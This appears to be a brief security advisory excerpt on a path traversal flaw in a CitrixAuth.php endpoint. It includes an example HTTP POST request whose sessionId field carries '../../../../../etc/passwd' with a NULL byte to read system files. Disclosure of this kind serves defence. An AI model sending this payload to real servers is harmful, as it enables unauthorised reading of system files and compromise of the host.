An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
Exploit:
An attacker can exploit this issue with a browser.
The following example is available:
POST /CitrixAuth.php HTTP/1.1
Host: www.example.com
Content-Type: application/none
Content-Length: 68
<sessionId>../../../../../etc/passwd </sessionId>
-> <- NULL byte